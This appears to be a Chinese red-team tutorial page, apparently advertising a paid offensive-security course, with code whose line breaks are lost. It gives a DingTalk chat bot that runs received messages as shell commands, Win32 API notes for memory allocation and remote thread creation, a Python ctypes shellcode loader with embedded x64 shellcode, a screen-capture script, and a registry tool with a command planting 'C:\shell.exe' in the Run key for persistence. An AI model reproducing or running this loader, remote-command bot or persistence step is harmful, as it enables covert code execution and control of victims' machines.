# -*- coding: utf-8 -*-import subprocessimport chardetfrom flask import Flask, requestimport hmacimport hashlibimport base64import jsonimport requestsapp = Flask(__name__)# 消息数字签名计算核对def check_sig(timestamp):    # 设置 secret，上面应用信息凭证的值    app_secret = 'xxx'    app_secret_enc = app_secret.encode('utf-8')    string_to_sign = '{}\n{}'.format(timestamp, app_secret)    string_to_sign_enc = string_to_sign.encode('utf-8')    hmac_code = hmac.new(app_secret_enc, string_to_sign_enc, digestmod=hashlib.sha256).digest()    sign = base64.b64encode(hmac_code).decode('utf-8')    return sign# 发送markdown消息def send_md_msg(userid, title, message, webhook_url):    data = {        "msgtype": "markdown",        "markdown": {            "title": title,            "text": message        },        '''        "msgtype": "text",        "text": {            "content": message        },        '''        "at": {            "atUserIds": [                userid            ],        }    }    # 利用requests发送post请求    req = requests.post(webhook_url, json=data)# 命令执行def exec_command(command):    p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)    data = p.stdout.read()    encoding = chardet.detect(data)['encoding']    out = "".join(data.decode(encoding))    return out# 处理自动回复消息def handle_info(req_data):    # 解析用户发送消息 通讯webhook_url    text_info = req_data['text']['content'].strip()    webhook_url = req_data['sessionWebhook']    senderid = req_data['senderId']    # print('***************text_info：', text_info)    # 处理系统命令    if 'command' in text_info:        cmd = str(text_info).split(':')[1]        title = '执行命令:'+cmd        text = exec_command(cmd)        send_md_msg(senderid, title, text, webhook_url)@app.route("/", methods=["POST"])def get_data():    # 第一步验证：是否是post请求    if request.method == "POST":        # print(request.headers)        # 签名验证 获取headers中的Timestamp和Sign        timestamp = request.headers.get('Timestamp')        sign = request.headers.get('Sign')        # 第二步验证：签名是否有效        if check_sig(timestamp) == sign:            # 获取、处理数据            req_data = json.loads(str(request.data, 'utf-8'))            # print(req_data)            handle_info(req_data)            print('验证通过')        print('验证不通过')    print('有get请求')if __name__ == '__main__':    app.run(host='0.0.0.0', port=9000)

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,                             // #要分配的内存区域的地址  [in]           SIZE_T dwSize,                                    // 申请分配内存的大小  [in]           DWORD  flAllocationType,       // 申请分配内存的类型  [in]           DWORD  flProtect                                // 申请分配内存的保护);//返回值//函数成功，则返回值为返回已分配的内存基址//函数失败，则返回值为NULL

void RtlMoveMemory(   void*       Destination,        //指向移动目的地址的指针。   const void* Source,            //指向要复制的内存地址的指针。   size_t      Length            //指定要复制的字节数。);// 返回值：// 如果函数成功，则返回值为已分配页区域的基址。// 如果函数失败，则返回值为 NULL。

HANDLE CreateThread(  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,  // 线程安全属性  [in]            SIZE_T                  dwStackSize,           // 置初始栈的大小，以字节为单位  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,      // 指向线程函数的指针  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // 向线程函数传递的参数  [in]            DWORD                   dwCreationFlags,       // 线程创建属性  [out, optional] LPDWORD                 lpThreadId           // 保存新线程的id);// 返回值：// 如果函数成功，则返回值是新线程的句柄。// 如果函数失败，则返回值为 NULL。

DWORD WaitForSingleObject(  [in] HANDLE hHandle,         // #对象句柄。可以指定一系列的对象  [in] DWORD  dwMilliseconds   // #定时时间间隔);// 返回值：// 如果函数成功，则返回值指示导致函数返回的事件。

BOOL VirtualProtect(  [in]  LPVOID lpAddress,          // 要更改其访问保护属性的页面区域的起始页的地址。  [in]  SIZE_T dwSize,             // 要更改其访问保护属性的区域的大小（以字节为单位）  [in]  DWORD  flNewProtect,       // 内存保护选项。  [out] PDWORD lpflOldProtect      // 指向一个变量的指针，该变量接收指定页区域中第一页的上一个访问保护值);// 函数成功，返回值为非零；函数执行失败，返回值为0

VOID RtlMoveMemory(  _Out_       VOID UNALIGNED *Destination,  // 指向要复制字节的目标内存块的指针  _In_  const VOID UNALIGNED *Source,        // 指向要复制字节的源内存块的指针  _In_        SIZE_T         Length         // 从原复制到目标中的字节数);//无返回值

HANDLE HeapCreate(  [in] DWORD  flOptions,        // 堆的分配选项  [in] SIZE_T dwInitialSize,    // 堆的初始大小  [in] SIZE_T dwMaximumSize     // 堆的最大大小);//返回值：执行成功，返回值是新创建的堆的句柄；执行失败，返回值为NULL

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(  [in] HANDLE hHeap,            // 将从中分配内存的堆的句柄。此句柄由 HeapCreate 或 GetProcessHeap 函数返回。  [in] DWORD  dwFlags,          // 堆分配选项。指定这些值中的任何一个都将覆盖使用 HeapCreate 创建堆时指定的相应值。  [in] SIZE_T dwBytes           // 分配的字节数);//返回值：//成功：返回值是指向已分配内存块的指针//失败：未设置堆分配选项为 HEAP_GENERATE_EXCEPTIONS，则返回值为 NULL；否则返回特定的异常

HANDLE CreateRemoteThread(  [in]  HANDLE                 hProcess,                 // 要在其中创建线程的进程的句柄  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,       // 指向SECURITY_ATTRIBUTES结构的指针，该结构指定新线程的安全描述符并确定子进程是否可以继承返回的句柄。  [in]  SIZE_T                 dwStackSize,                 //    堆栈的初始大小（以字节为单位）         [in]  LPTHREAD_START_ROUTINE lpStartAddress,            // 指向应用程序定义函数类型的指针LPTHREAD_START_ROUTINE由线程执行，并表示远程进程中线程的起始地址。  [in]  LPVOID                 lpParameter,              // 指向要传递给线程函数的变量的指针。  [in]  DWORD                  dwCreationFlags,          // 控制线程创建的标志  [out] LPDWORD                lpThreadId                // 指向接收线程标识符的变量的指针);//返回值：//成功：返回值是新线程的句柄//失败：返回值为 NULL

import ctypesdef exec_shellcode(shellcode):    shellcode = bytearray(shellcode)    # 设置返回类型64位，默认32位。    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64    # 申请内存    """    VirtualAlloc函数原型和参数如下：    LPVOID VirtualAlloc{    LPVOID lpAddress, #要分配的内存区域的地址    DWORD dwSize,      #分配的大小    DWORD flAllocationType, #分配的类型    DWORD flProtect     #该内存的初始保护属性    };    """    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                              ctypes.c_int(len(shellcode)),                                              ctypes.c_int(0x3000),                                              ctypes.c_int(0x40))    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)    # 此函数从指定内存中复制内容至另一内存里    """    RtlMoveMemory(Destination,Source,Length);    Destination ：指向移动目的地址的指针。    Source ：指向要复制的内存地址的指针。    Length ：指定要复制的字节数。    """    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),                                         buf,                                         ctypes.c_int(len(shellcode)))    # 调用CreateThread将在主线程的基础上创建一个新线程    """    HANDLE CreateThread(    LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性    SIZE_T dwStackSize,       #置初始栈的大小，以字节为单位    LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针    LPVOID lpParameter,          #向线程函数传递的参数    DWORD dwCreationFlags,       #线程创建属性    LPDWORD lpThreadId           #保存新线程的id    )    """    handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                                 ctypes.c_int(0),                                                 ctypes.c_uint64(ptr),                                                 ctypes.c_int(0),                                                 ctypes.c_int(0),                                                 ctypes.pointer(ctypes.c_int(0)))    """    调用WaitForSingleObject函数用来检测线程的状态    DWORD WINAPI WaitForSingleObject(    __in HANDLE hHandle,       #对象句柄。可以指定一系列的对象    __in DWORD dwMilliseconds  #定时时间间隔    );    """    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))def main():    # windows 64 弹出 计算机的shellcode    buf = b""    buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"    buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"    buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"    buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"    buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"    buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"    buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"    buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"    buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"    buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"    buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"    buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"    buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"    buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"    buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"    buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"    buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"    buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"    buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"    buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"    buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"    buf += b"\x78\x65\x00"    shellcode = buf    exec_shellcode(shellcode)if __name__ == '__main__':    main()

#-*- coding:utf8 -*-import win32guiimport win32uiimport win32conimport win32api# 获取窗口桌面的句柄hdesktop = win32gui.GetDesktopWindow()# 获得显示屏的像素尺寸width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)# 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据，直到我们保存到文件mem_dc = img_dc.CreateCompatibleDC()# 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)# 复制屏幕到内存设备描述表中mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)# 将位图保存到文件中screenshot.SaveBitmapFile(mem_dc, r"C:\Users\thresh\Downloads\1.jpg")# 释放对象mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

# 打开注册表win32api.RegOpenKey()win32api.RegOpenKeyEx()# 关闭注册表win32api.RegCloseKey()# 读取注册表的值win32api.RegQueryValue()win32api.RegQueryValueEx()# 设置注册表的值win32api.RegSetValue()win32api.RegSetValueEx()# 添加注册表的项win32api.RegCreateKey()win32api.RegCreateKeyEx()# 删除注册表项win32api.RegDeleteKey()win32api.RegDeleteKeyEx()# 删除值win32api.RegDeleteValue()# 枚举子健win32api.RegEnumKey()

import win32confrom win32api import *from win32con import *import argparsedef GetKey(fullname):    name = str.split(fullname,'\\',1)    try:        regkey = None        if name[0] == 'HKEY_LOCAL_MACHINE':            regkey = RegOpenKey(HKEY_LOCAL_MACHINE,name[1],0,KEY_ALL_ACCESS)        elif name[0] == 'HKEY_CURRENT_USER':            regkey = RegOpenKey(HKEY_CURRENT_USER,name[1],0,KEY_ALL_ACCESS)        elif name[0] == 'HKEY_CLASSES_ROOT':            regkey = RegOpenKey(HKEY_CLASSES_ROOT, name[1], 0, KEY_ALL_ACCESS)        elif name[0] == 'HKEY_CURRENT_CONFIG':            regkey = RegOpenKey(HKEY_CURRENT_CONFIG, name[1], 0, KEY_ALL_ACCESS)        elif name[0] == 'HKEY_USERS':            regkey = RegOpenKey(HKEY_USERS, name[1], 0, KEY_ALL_ACCESS)        else:            print('Error,no regkey named',name[0])        return regkey    except BaseException as e:        print('Error!')        print(e)def SelectValue(regkey):    '''    查询注册表,遍历注册表项    :param regkey:    :return:    '''    info = RegQueryInfoKey(regkey)    for i in range(0, info[1]):        ValueName = RegEnumValue(regkey,i)        print(str.ljust(ValueName[0], 20), ValueName[1])    RegCloseKey(regkey)def AddValue(regkey,key:str,value:str):    '''    添加、修改注册表键值,    添加键值对，    修改键值对，只需要修改key对应的value即可    :param key:    :param value:    :param path:    :return:    '''    try:        RegSetValueEx(regkey, key, 0, win32con.REG_SZ, value)        print("[+] Addvalue successful!")        RegCloseKey(regkey)    except Exception as e:        print(e)def DeleteValue(regkey,key:str):    '''    删除注册表键值对    :param regkey:    :param key:    :return:    '''    # 删除注册表的值    # RegDeleteValue(key, "notepad")    try:        RegDeleteValue(regkey, key)        print("[+] DeleteValue successful!")    except Exception as e:        print(e)def CreateKey(regkey,KeyName:str):    '''    添加注册表项,类似于创建文件夹    :param regkey:    :param KeyName:    :return:    '''    # RegCreateKey(key,'Python')    try:        RegCreateKey(regkey,KeyName)        RegCloseKey(regkey)        print("[+] CreateKey successful!")    except Exception as e:        print(e)def DeleteKey(regkey,KeyName:str):    '''    添加注册表项    :param regkey:    :param KeyName:    :return:    '''    # RegCreateKey(regkey,'Python')    try:        RegDeleteKey(regkey,KeyName)        RegCloseKey(regkey)        print("[+] DeleteKey successful!")    except Exception as e:        print(e)# 当前用户启动项# 计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Rundef main():    # 创建一个选项处理对象    parser = argparse.ArgumentParser(description="welcome use RegTool")    parser.add_argument('--regkey',help='Input RegKeyName',type=str)    parser.add_argument('--type', help='SelectValue:regkey\n;'                                       ',AddValue:regkey,key,value\n;'                                       ',DeleteValue:regkey,key\n;'                                       ',CreateKey:regkey,KeyName\n;'                                       ',DeleteKey:regkey,KeyName\n;'                                       '', type=str)    parser.add_argument('--key', help='Input RegKey KeyName', type=str)    parser.add_argument('--value', help='Input RegKey Value', type=str)    args = parser.parse_args()    if args.regkey:        regkey = GetKey(args.regkey)    if args.type:        if args.type =='SelectValue':            SelectValue(regkey=regkey)        if args.type =='AddValue' and args.key and args.value:            AddValue(regkey=regkey,key=args.key,value=args.value)        if args.type =='DeleteValue':            DeleteValue(regkey,args.key)        if args.type =='CreateKey' and args.key:            CreateKey(regkey=regkey,KeyName=args.key)        if args.type =='DeleteKey' and args.key:            DeleteKey(regkey=regkey, KeyName=args.key)if __name__ == '__main__':    main()

python3 .\Reg_Tools.py --regkey 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' --type AddValue --key 'shell' --value 'C:\shell.exe'

python3 .\Reg_Tools.py --regkey 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run' --type DeleteValue --key 'shell'

1.可直接登录官网在线报名，报名地址：http://edu.ms08067.com/my/course/12

2.加客服微信报名

学习资源

上课时间

上课方式

讲师介绍

全新课程目录6.0版

如何提前预习

    你距离红队大佬，只差一个决定